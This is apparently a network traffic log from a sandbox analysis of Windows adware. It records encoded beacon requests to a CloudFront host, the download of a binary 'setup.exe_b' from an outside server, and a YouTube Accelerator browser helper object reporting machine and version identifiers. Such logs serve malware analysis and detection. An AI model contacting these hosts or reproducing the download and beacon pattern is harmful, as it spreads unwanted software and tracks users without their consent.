GET /12360.ashx?e=hXeqmv1IpenVj9BNm3y5B/0NIveTUdQyW1tgKrNy38kQyol6Hp9Rdg0/niVdnGaSoJgmsLZ3n9aa8JaR5GgG5zwB4kOBPtmLQX9U bk8PMny9WPdsZGiUE0RnAbEs26ALnCMwJJTkXqSYeASUebplp3Zhqce6bh8j0N7bp/0QtRaYa2XOOQuZBQC drCF7eF7LQ fMG3nUOoTeqbC3Z0rIzwxTsvpnVcXOyU386ibkNsTaFJlXWyu yt25iEwyPbjsvnWTmObjOwEISYEO9NSxagsjM/ITaNX9o5TagsjcZ1AP1fWDmPqL5TmD4GOyNUiOeeYyJtCDo= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 10 Feb 2015 03:59:12 GMT

X-Cache: Miss from cloudfront

Via: 1.1 2d2eb60d814c8202a5a69fa957cd569d.cloudfront.net (CloudFront)

X-Amz-Cf-Id: qKOr-mCexz_QqGWYKLm1Wz0LjCIXmSYbOdwFqYHOZjeR5uBPHUwLBg==

....

GET /12360.ashx?e=hXeqmv1IpenVj9BNm3y5B/0NIveTUdQyW1tgKrNy38kQyol6Hp9Rdg0/niVdnGaSoJgmsLZ3n9aa8JaR5GgG5zwB4kOBPtmLQX9U bk8PMny9WPdsZGiUE0RnAbEs26ALnCMwJJTkXqSYeASUebplp3Zhqce6bh8j0N7bp/0QtS12B/VpfiJ4dCUHeR8YCF3BQ8MIYMfS0viLuGcd2F1x25D993ilxFQ7nJDKdFRkjljTyNjjzEEmn/Mv081ozH 6ysA rfm9WUzEdLV0pRHWkY1XsPhxRGVfY1QZoRT V5dJv6lxF0FU9bdFv jWZxt HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 10 Feb 2015 03:58:50 GMT

X-Cache: Miss from cloudfront

Via: 1.1 2d2eb60d814c8202a5a69fa957cd569d.cloudfront.net (CloudFront)

X-Amz-Cf-Id: mH2yJCjDSroTsJ2Dk-SU6UMeSLCq1Rm2LI9KZVZg07RjbZeXKbxkKg==

....

GET /12360.ashx?e=2fVCHF6kf8ip2eBShmJaQHFA8SMhVDHudSO0UdJjzryMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1M2W04TzSDtm3cO6dTrNhzTfz6rRYqgs/tcGBIv1zehoSNe9o UQDNz0qlyYFgIPZ/darsixYIPPsMhbid0KOPM74r1XQZFERJL7ZfSEVa6OEQyD12F 1Nyjgb6v7cXpPt2nKkLkHTcAQh7fCP95dTKIvain/ mm oQ3ihp8iyABkNoF4u38LkIDxcw9tjUHd6808AiUQEulsmw3Hl6laVkU2H z7sW5Uv0iKnRIooKPoID5x5YtLWQkuV5AeSR4Qbvu3q2cgyUn8ZZWzAzcfSklex/kVKG esHOIsfZCviTUeEKE8BUu1sjN9HUt770q3J/TTq06Ad OHOK8zqx8GI94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjm0wz0U6I70ghzFcuANGYcsAJSrNW7Zt5N3DunU6zYc038 q0WKoLP7XBgSL9c3oaEj16axw0ikNw== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 10 Feb 2015 03:59:12 GMT

X-Cache: Miss from cloudfront

Via: 1.1 2d2eb60d814c8202a5a69fa957cd569d.cloudfront.net (CloudFront)

X-Amz-Cf-Id: vbB2h-ruj-M6Z8komw1aXS79G4DP2B0NtSUYS4TpBlpTXWfZLcuCjQ==

....

GET /12360.ashx?e=2fVCHF6kf8ip2eBShmJaQHFA8SMhVDHudSO0UdJjzryMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1M2W04TzSDtm3cO6dTrNhzTfz6rRYqgs/tcGBIv1zehoSNe9o UQDNz0qlyYFgIPZ/darsixYIPPsMhbid0KOPM74r1XQZFERKbvoGA4XsmV4XCb9CiaQyu0JQd5HxgIXf46OoQvinCN9FInQ/3aUB0hvdqivECN yHV1LMlp88b6eEsn81noLJjYhcnCVtRQ 3pbZbEWnWARD9BVsk40bmx4ABUCsqm0puvaNfs0YIq ns4WS9HyHR4nwc6PiZLfgIE7jpNROtzDm81F21dSoQ1V4Hek0AV9mn0FiVjXc3ENVeB3pNAFfZhngPKyfI04xX2w3GuEsAbyztZqn9Yn 2BPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dzXsbxfWd6AL1WIDtMhwBxLsta8tCHxlktOyH31wgiLg4DRbv3YXgwwsua2vDfsr7ziWhKQdCJuXcqwZwxAX4ff HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net

GET /12360.ashx?e=2fVCHF6kf8ip2eBShmJaQHFA8SMhVDHudSO0UdJjzryMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1M2W04TzSDtm3cO6dTrNhzTfz6rRYqgs/tcGBIv1zehoSNe9o UQDNz0qlyYFgIPZ/darsixYIPPsMhbid0KOPM74r1XQZFERLciXFAHp4HlL1HtSmBYQHI0JQd5HxgIXdABmFtdiJe0RFBvYhjCj9O4i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJp/zL9PNaMx/usrAPq35vVlMxHS1dKUR1pGNV7D4cURlX2NUGaEU/leXSb pcRdBVPW3Rb/o1mcbQ== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net

GET /12360.ashx?e=p9HAq5TtKa/0g02wEBPEIixlCOXjid5cQF3UKsSdb2tZNgLaUTJ6JCEdbCsTxXU3L2dvkIonkcUMPXAzNb6UKQOKfKDqnoKbeHxdnNkIxOeeTfIsgvSooK0SVeSAj4Vj/u6z7Uinv/hsm3hTIndG2K1yMTX l/6f8sNnTqkc9FUySAZYWl5Zf44G r 3F6T7B28jN/IR4nX0fmNw27 tlhga/UkypsLNn3JJqGz237SMwYjVN7KZFmdamvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgEPlcKBNGiF/021585MfhSs/dW/OzxIfNag72ELJ8PIdBfI iBFWPgCmFZX07bmHdY1i5ifE1DQM= H
HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 10 Feb 2015 03:58:51 GMT

X-Cache: Miss from cloudfront

Via: 1.1 2d2eb60d814c8202a5a69fa957cd569d.cloudfront.net (CloudFront)

X-Amz-Cf-Id: ajcfoEE9gIUKncI_d3cTAjJ1kbziby6wbld8yfT8ABR5Vkp7LjvTPg==

....

GET /12360.ashx?e=d/UISSlWdlNxQPEjIVQx7tQgR4O/WCIWjA5kVqVgWdD8SaNRCRsmETynsL3GEE9TNltOE80g7Zt3DunU6zYc038 q0WKoLP7XBgSL9c3oaEjXvaPlEAzc9KpcmBYCD2f3Wq7IsWCDz7DIW4ndCjjzLIrzGgLqVJ0yETj4nts NPl9AOtqZ1I9ymF904v4t2DIdOulZ3X5yT2e6nYO18M uVZoUMuMz4694khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjm0wz0U6I70ghzFcuANGYcsAJSrNW7Zt5N3DunU6zYc038 q0WKoLP7XBgSL9c3oaEj16axw0ikNw== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 10 Feb 2015 03:58:51 GMT

X-Cache: Miss from cloudfront

Via: 1.1 2d2eb60d814c8202a5a69fa957cd569d.cloudfront.net (CloudFront)

X-Amz-Cf-Id: HLJgHNHMS5c_geo6x_6p6YgJpI79pmb28cNklEK3Bl2we6RovKUYTQ==

....

GET /12360.ashx?e=d/UISSlWdlNxQPEjIVQx7tQgR4O/WCIWjA5kVqVgWdD8SaNRCRsmETynsL3GEE9TNltOE80g7Zt3DunU6zYc038 q0WKoLP7XBgSL9c3oaEjXvaPlEAzc9KpcmBYCD2f3Wq7IsWCDz7DIW4ndCjjzLIrzGgLqVJ03IlxQB6eB5TdLcdziD4YvRMAGkRtqR4lkOB3v7aTq0F91k3KoBunFtjP1QedMB/cy/B6ujnJrtI0fJ30mPWB3MJ9BqBjylb5Pk55LBQN29ozWIN5/5zPOJrwlpHkaAbnPAHiQ4E 2YtBf1T5uTw8yfL1Y92xkaJQkXE1V5BbBkY= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 10 Feb 2015 03:58:51 GMT

X-Cache: Miss from cloudfront

Via: 1.1 2d2eb60d814c8202a5a69fa957cd569d.cloudfront.net (CloudFront)

X-Amz-Cf-Id: K9Y1732tBzqjqAFFZZu9nzQwWj7u2dMVkO2at-T6eQUeCH0EH2GkeA==

....

GET /12360.ashx?e=t1D UTAmiecfAxEXghvnLHKmjUZeFmYR1VMaOJFqXYpm5LT87ehXavGh154/D7lxR1Rpsdyw5pJf2jlNqCyNxnUA/V9YOY ovlOYPgY7I1SI555jIm0IOnwF8xC533Fc/gWpMzttQ0rMO5V10xYyR5tezSSaH/lI31fTgrR12XwN5lyRGN/ZhwIcLERiDa7ohckeENmAaNmt 0p5raZActNf/sN34NbwCNjTunKSGe4R fXJinWV7npoW8o/g6d5g577mTPDhZg2zg/uCXuilY0oQa07NiSGSxlUI07Q8alBxic0Zdxxc/JtdSrpfwDO94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjm0wz0U6I70ghzFcuANGYcsAJSrNW7Zt5N3DunU6zYc038 q0WKoLP7XBgSL9c3oaEj16axw0ikNw== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 10 Feb 2015 03:59:18 GMT

X-Cache: Miss from cloudfront

Via: 1.1 2d2eb60d814c8202a5a69fa957cd569d.cloudfront.net (CloudFront)

X-Amz-Cf-Id: EgnLC_2GgGgy2VDSS2Z8M8kZ3Rjh4-lLWGJB7wUqwWhu6SCKiJYUlw==

HTTP/1.1 200 OK..Content-Length: 0..Connection: keep-alive..Cache-Cont
rol: private, no-store..Server: Microsoft-IIS/8.5..X-AspNet-Version: 4
.0.30319..X-Powered-By: ASP.NET..Date: Tue, 10 Feb 2015 03:59:18 GMT..
X-Cache: Miss from cloudfront..Via: 1.1 2d2eb60d814c8202a5a69fa957cd56
9d.cloudfront.net (CloudFront)..X-Amz-Cf-Id: EgnLC_2GgGgy2VDSS2Z8M8kZ3
Rjh4-lLWGJB7wUqwWhu6SCKiJYUlw==......

GET /12360.ashx?e=657cd9m3NQGxXIjuhqBZpaKMB9u4RTbHEhGH33nPGlEQyol6Hp9Rdg0/niVdnGaSoJgmsLZ3n9aa8JaR5GgG5zwB4kOBPtmLQX9U bk8PMny9WPdsZGiUE0RnAbEs26ALnCMwJJTkXqSYeASUebplp3Zhqce6bh85i6K0mlT5TWmFos9rzojEsyeWqtXwvV7KYX3Ti/i3YPvxAwLXMukWzjXjZd m6fcoMilJCrTiJmdNM/FWlP8nY9nTXJsYRGYF4yctsH/05cx2oSslfro2aAV qdlpziQkAthTeQnkDpnWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYBD5XCgTRohf9NtefOTH4UrP3Vvzs8SHzWoO9hCyfDyHQXyPogRVj4AphWV9O25h3WNYuYnxNQ0D HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 10 Feb 2015 03:59:19 GMT

X-Cache: Miss from cloudfront

Via: 1.1 2d2eb60d814c8202a5a69fa957cd569d.cloudfront.net (CloudFront)

X-Amz-Cf-Id: zNSMQICsdxrrfnoo4OHwXe92AcfXrWJJ0zkzKZenyQKVdLo7JFNHeg==

....

GET /12360.ashx?e=657cd9m3NQGxXIjuhqBZpaKMB9u4RTbHEhGH33nPGlEQyol6Hp9Rdg0/niVdnGaSoJgmsLZ3n9aa8JaR5GgG5zwB4kOBPtmLQX9U bk8PMny9WPdsZGiUE0RnAbEs26ALnCMwJJTkXqSYeASUebplp3Zhqce6bh85i6K0mlT5TWz8LjnD4BZNQQy9IgZy5lJKYX3Ti/i3YPT/CRzrsOCIH6ilCzii/A hOeBVpsxK34gGeUpHHIWiSSfRcuIfR0fUu0KI1IApgUwqc65TUDdv B nBl74nR04xARCSAmc2kdn4Mm3Md6mgTxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4 HSf3c17G8X1negC9ViA7TIcAcS7LWvLQh8ZZLTsh99cIIi4OA0W792F4MMLLmtrw37K 84loSkHQibl3KsGcMQF H3w== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 10 Feb 2015 03:58:56 GMT

X-Cache: Miss from cloudfront

Via: 1.1 2d2eb60d814c8202a5a69fa957cd569d.cloudfront.net (CloudFront)

X-Amz-Cf-Id: -DG944a10Oy3L5pRU2fVotLxgHtncCxr-h1IxXihxOkorinHawvnew==

GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBRIt2RJ89X++hEzqoBeQg8PymQ2UQQUANhaTCXBIuWLMe9tuvPMXynxDWECEGVSJuGyLhjhWQ8phawi51w= HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp.verisign.com


HTTP/1.1 200 OK

Server: nginx/1.4.7

Content-Type: application/ocsp-response

Content-Length: 1453

content-transfer-encoding: binary

Cache-Control: max-age=538704, public, no-transform, must-revalidate

Last-Modified: Mon, 9 Feb 2015 09:39:15 GMT

Expires: Mon, 16 Feb 2015 09:39:15 GMT

Date: Tue, 10 Feb 2015 04:02:58 GMT

Connection: keep-alive
0..........0..... .....0......0...0......T3t.%..O.E..~..F.=....2015020
9093915Z0s0q0I0... ........H.dI.....3..^B...d6Q....ZL%."..1.m..._)..a.
.eR&.....Y.)..".\....20150209093915Z....20150216093915Z0...*.H........
.....~0...hO6...:&.O........D......Bnr.s.PL.....a.......|..]'[>...`
......I...P<I.$.T.....s..zF....... R...39...<.. J........~..{.g.
...W#..............|.r.l..<4.b.....er.kw.3.....P[.........Q.....Z?.
Sa.........6.F......8.{E.[......mQ/[email protected]."O.\....3.S.....0..
.0...0..3......./...b.v..-....l}0...*.H........0_1.0...U....US1.0...U.
...VeriSign, Inc.1705..U....Class 3 Public Primary Certification Autho
rity0...141202000000Z..151216235959Z0..1.0...U....US1.0...U....Symante
c Corporation1.0...U....Symantec Trust Network1?0=..U...6Symantec Clas
s 3 PCA - G1 OCSP Responder Certificate 30.."0...*.H.............0....
......'......Y..x.3B1.7..Q..`..d.. ....s..t.$a.....j2R.{ ,*..c{.3.....
H..3-; ).....0._...*..9M..V...... ...{m...-.......)..tR..{D....~...M..
.T..pS.p..^|o....S..v.).)[email protected]#qh...u1T.].G0.]
E...=._...... ........TE...Sa.s4........r...3.............0..0...U....
0.0l..U. .e0c0a..`.H...E....0R0&.. .........hXXp://VVV.symauth.com/cps
0(.. .......0...hXXp://VVV.symauth.com/rpa0...U.%..0... .......0...U..
......0... .....0......0!..U....0...0.1.0...U....TGV-B-2730...*.H.....
........$..H......oU....Y!.z{*.V.M..u.._z..3>.. 0....3..m.....e....
...a..D...........e..F6:.y.....di.......<y.Z.......x}..q.2....UZ1 :
,....
<<< skipped >>>

GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSpuCE3aK3GivZPzGQJ6L5BRyZofwQUl9BrqCZwyKE/lB8ILcQ1m6ShHvICEAxNF3PJUX7iAOhAP2oGxcI= HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp.verisign.com


HTTP/1.1 200 OK

Server: nginx/1.4.7

Content-Type: application/ocsp-response

Content-Length: 1790

content-transfer-encoding: binary

Cache-Control: max-age=578542, public, no-transform, must-revalidate

Last-Modified: Mon, 9 Feb 2015 20:44:24 GMT

Expires: Mon, 16 Feb 2015 20:44:24 GMT

Date: Tue, 10 Feb 2015 04:02:58 GMT

Connection: keep-alive
0..........0..... .....0......0...0........6?s....V....OlL".O..2015020
9204424Z0s0q0I0... ..........!7h....O.d...AG&h.....k.&p..?...-.5......
..M.s.Q~...@?j.......20150209204424Z....20150216204424Z0...*.H........
......2..T.U...=..C.V....Bo9..e..2.....S.'.#../Y].k.....n..1.8J\..PM.x
Y.P6H.....Q9...]...Z..d...Bl...!..7W.P*..-.a.-...q.f'k.d.Z...o.. D.q.8
w.!.:..8...C0.j.%V.#&.d..n..Q.,..kE.s...*....p..7....~..MI.LFE....e../
.....\..,Z.clG...v.R....Q....o.w..`...@^...%...K..,...#0...0...0......
....<o&S.-S..}...e.30...*.H........0..1.0...U....US1.0...U....VeriS
ign, Inc.1.0...U....VeriSign Trust Network1;09..U...2Terms of use at h
ttps://VVV.verisign.com/rpa (c)09100...U...'VeriSign Class 3 Code Sign
ing 2009-2 CA0...141205000000Z..150305235959Z0..1.0...U....US1.0...U..
..VeriSign, Inc.1.0...U....VeriSign Trust Network1;09..U...2Terms of u
se at hXXps://VVV.verisign.com/rpa (c)091<0:..U...3VeriSign Class 3
 Code Signing 2009-2 OCSP Responder0.."0...*.H.............0.........{
(..t....2.Vf.....&;6).i*[email protected]._p.E.6.|.mk....(.......
...p...........X.DF....^0N....b9.:..J. ZK.".^..\..p.'.$..JA..~QG.d.}..
.r...gv... f...z.#..}..J...r9h.........LI-..^.......PUD.h<.l....(n.
.i.....E.....2....^./Y......Y.m...'...hz..y..E..........0...0...U....0
.0....U. ...0..0....`.H...E....0..0(.. .........hXXps://VVV.verisign.c
om/CPS0b.. .......0V0...VeriSign, Inc.0.....=VeriSign's CPS incorp. by
 reference liab. ltd. (c)97 VeriSign0...U.%..0... .......0...U........
0... .....0......0"..U....0...0.1.0...U....TGV-B-24710...*.H......<<< skipped >>>

GET /smt2b/all/hat/row/setup.exe_b HTTP/1.1

Host: dl.ourgendataservice.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Date: Tue, 10 Feb 2015 03:59:53 GMT

Keep-Alive: timeout=10, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1423537356"

Last-Modified: Tue, 10 Feb 2015 03:02:36 GMT

Cache-Control: max-age=210

Content-Length: 2508981

Content-Type: text/plain

X-HW: 1423540794.dop003.am4.t,1423540793.cds042.am4.c
......}..:wrG!5..........@XV6C9.].B....~2.p.EN.T?....=n..R.L.,'.[.x.I.
...x.Q.....N..=.H.h...U....h....v...Ag~.....Y....N..g.(^..!:.v.l......
..M..5.w.Y........._r...."...<.y.....V.....K77I.O...S..\..&......Ev
.q..2r...........wL.ZviJr..Z....i._.e.O....o.E.ow....KO.B....H.Q.)....
m....T....."..15..@.>.v....~..X.X..P1zH.U......Ou:'....Q.J.........
r=......m,...FR...m?...q<.KLx<....x......,.....#.g.W..k.........
.....ja .......o.ju&.*..Qo.q'|.........Z..|....F."(.*...U.v6u..L....Uu
..^....G....7..}..L....BU....hw7.f....d..a.(..L.IdX.. :.;<..S.D0~.k
.v../._.,.i..t{..|..,.U.=.t....b.%..#.R....n5..ec.(3z/8[....P[.._..#V.
...Y)....@._|!..j...Q..2q5...]..$"zE._N,..U...........OkO*un_k..."..).
..........tUJ.(..3.v.u..*N!...r......R.e.>..uRJ.....#...>T.q....
./,<... ..,.).........h.....Ss.c:.........C..y..=.*.uY........".M.w
.0.q4M...>..u.p ...8.[...>0Z...`.;...2...0(-.f.0[K.)..}..@......
.O?.(........1..1...Y9..r.h..UM...........iPi%`.nO.*n..?/..5.Go.N..>
;.d.....N....q....7..I..I:...W.3...........5A.4..m.c..RK...^]<..../
.L...C......f.cZ.71..~..-x._.^.R.W=;*......mW...H........hf.....>7.
W..I..#..N.>..::...G.`v..MKg.!..........MlL.....p`..=;......m...P=.
...Zf......!....._......Y..lcV%U..K...F ....0..:.!.!.J..xo....<X.3.
|.....Q....T......v4..>.....cKTG...`..cO.E.$....W.V.;C.q}..p...-.,.
...d....~M..........^........v? t...vi....usQ..B.....sp..|.0;j.. .h..x
I...,!..r.....E#..2.._.7.O>|.kk..:s3.L.RpU...3$..v?&....ok.h......T
..`Aq..To|........<8...."...Z.v.8.N(..q[[email protected].......:<<< skipped >>>

GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSpuCE3aK3GivZPzGQJ6L5BRyZofwQUl9BrqCZwyKE/lB8ILcQ1m6ShHvICEGwkCSV07gf3g5QOsqmf+MY= HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp.verisign.com


HTTP/1.1 200 OK

Server: nginx/1.4.7

Content-Type: application/ocsp-response

Content-Length: 1790

content-transfer-encoding: binary

Cache-Control: max-age=578611, public, no-transform, must-revalidate

Last-Modified: Mon, 9 Feb 2015 20:44:25 GMT

Expires: Mon, 16 Feb 2015 20:44:25 GMT

Date: Tue, 10 Feb 2015 04:03:01 GMT

Connection: keep-alive
0..........0..... .....0......0...0........6?s....V....OlL".O..2015020
9204425Z0s0q0I0... ..........!7h....O.d...AG&h.....k.&p..?...-.5......
.l$.%t...............20150209204425Z....20150216204425Z0...*.H........
......'.^.M......_.(.~....b^:.[&...z.^.W.<'g.[..N..Y.k...i....U.Kc-
.:B....]#...l.^..S0K.OV.. ..D/&.E?./...~.z....~.E.YA....c.4...~.t.$..X
[email protected]......... .^.....7.t...*T.=1.3..I...n..m.i9.6l.....
!..r..;..8..V...._......t..YE.^9.7...*&_.a......dM.......#0...0...0...
.......<o&S.-S..}...e.30...*.H........0..1.0...U....US1.0...U....Ve
riSign, Inc.1.0...U....VeriSign Trust Network1;09..U...2Terms of use a
t hXXps://VVV.verisign.com/rpa (c)09100...U...'VeriSign Class 3 Code S
igning 2009-2 CA0...141205000000Z..150305235959Z0..1.0...U....US1.0...
U....VeriSign, Inc.1.0...U....VeriSign Trust Network1;09..U...2Terms o
f use at hXXps://VVV.verisign.com/rpa (c)091<0:..U...3VeriSign Clas
s 3 Code Signing 2009-2 OCSP Responder0.."0...*.H.............0.......
..{(..t....2.Vf.....&;6).i*[email protected]._p.E.6.|.mk....(....
......p...........X.DF....^0N....b9.:..J. ZK.".^..\..p.'.$..JA..~QG.d.
}...r...gv... f...z.#..}..J...r9h.........LI-..^.......PUD.h<.l....
(n..i.....E.....2....^./Y......Y.m...'...hz..y..E..........0...0...U..
..0.0....U. ...0..0....`.H...E....0..0(.. .........hXXps://VVV.verisig
n.com/CPS0b.. .......0V0...VeriSign, Inc.0.....=VeriSign's CPS incorp.
 by reference liab. ltd. (c)97 VeriSign0...U.%..0... .......0...U.....
...0... .....0......0"..U....0...0.1.0...U....TGV-B-24710...*.H...<<< skipped >>>

GET /app/ping.ashx?e=ZuS0/O3oV2poN0mNQrpltmZheUL K4kTJm eineCeW0E8XIWrh60PYXV1rPYBwrFqy2cd4qoQDl0oePvh0n93F2fKohH1AHQBCdBnO5fXI2a8JaR5GgG5zwB4kOBPtmLQX9U bk8PMny9WPdsZGiUJFxNVeQWwZG&product=EXTBHO&bhov=1.1.2.0&rnd=30199&action=Init&text=BHO version: 1.1.2.0. IE version: 10.0.9200.16521. DB name: yta_database1_0_0.json. DB version: 1.0.0.1&usid=2858020935-2156992550-3658131804&pixguid=e5f8ccfa-064a-4525-b909-9b89e346b6d9&it=5 HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)

Host: rep.youtubeaccelerator.com

DNT: 1

Connection: Keep-Alive

Cookie: _ga=GA1.2.1024568755.1423540823; _gat=1


HTTP/1.1 200 OK

Cache-Control: private

Content-Type: image/gif

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 10 Feb 2015 04:00:25 GMT

Content-Length: 0

HTTP/1.1 200 OK..Cache-Control: private..Content-Type: image/gif..Serv
er: Microsoft-IIS/7.5..X-AspNet-Version: 4.0.30319..X-Powered-By: ASP.
NET..Date: Tue, 10 Feb 2015 04:00:25 GMT..Content-Length: 0..

GET /googleanalytics.js HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,e5f8ccfa-064a-4525-b909-9b89e346b6d9,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=68&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: VVV.youtubeaccelerator.com

DNT: 1

Connection: Keep-Alive

Cookie: ASP.NET_SessionId=v42ebrdc5eunyodkxgchp5ds


HTTP/1.1 200 OK

Content-Type: application/x-javascript

Content-Encoding: gzip

Last-Modified: Tue, 10 Jun 2014 08:53:03 GMT

Accept-Ranges: bytes

ETag: "804165638984cf1:0"

Vary: Accept-Encoding

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Tue, 10 Feb 2015 04:00:20 GMT

Content-Length: 488
.............`.I.%&/m.{.J.J..t...`[email protected]#).*..eVe]f.@......{
....{....;.N'...?\fd.l..J...!....?~|.?"........4.......~Q......I...C|.
?..u3..........i.^......:...yp...................E~Y.W..m....i[T..b...
....e..._\|.........Yy......O......V.......................9.E?.3....A
!./..|.6w~...,?...2.J.fm.u.0...O...8-s4.....qA_\..~.<.~.]...9}.....
f...^N?....z....b..jj.....b..u.$?..|...._rg..X......2V...i]......{uu5.
..ogf..i.......Z^d.../......\.....]O.l:.......4~7M.n./gh.2............
.HTTP/1.1 200 OK..Content-Type: application/x-javascript..Content-Enco
ding: gzip..Last-Modified: Tue, 10 Jun 2014 08:53:03 GMT..Accept-Range
s: bytes..ETag: "804165638984cf1:0"..Vary: Accept-Encoding..Server: Mi
crosoft-IIS/7.5..X-Powered-By: ASP.NET..Date: Tue, 10 Feb 2015 04:00:2
0 GMT..Content-Length: 488...............`.I.%&/m.{.J.J..t...`.$..@...
......iG#).*..eVe]f.@......{....{....;.N'...?\fd.l..J...!....?~|.?"...
.....4.......~Q......I...C|.?..u3..........i.^......:...yp............
.......E~Y.W..m....i[T..b.......e..._\|.........Yy......O......V......
.................9.E?.3....A!./..|.6w~...,?...2.J.fm.u.0...O...8-s4...
..qA_\..~.<.~.]...9}.....f...^N?....z....b..jj.....b..u.$?..|...._r
g..X......2V...i]......{uu5...ogf..i.......Z^d.../......\.....]O.l:...
....4~7M.n./gh.2...............<<< skipped >>>

GET //images/Tokyo/tokyo_default_logo.png HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/network_adworkmedia_1/flvplayerkuiw/796c1daebeb52f4eabf469c6ed8ad1c0?v=2.1&uid=796c1daebeb52f4eabf469c6ed8ad1c0&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: d4ekdi381yoqv.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: image/png

Content-Length: 3921

Connection: keep-alive

Server: nginx

Date: Mon, 09 Feb 2015 21:23:56 GMT

Last-Modified: Mon, 09 Feb 2015 16:03:40 GMT

ETag: "54d8da5c-f51"

Expires: Mon, 09 Feb 2015 21:33:56 GMT

Cache-Control: max-age=600

Accept-Ranges: bytes

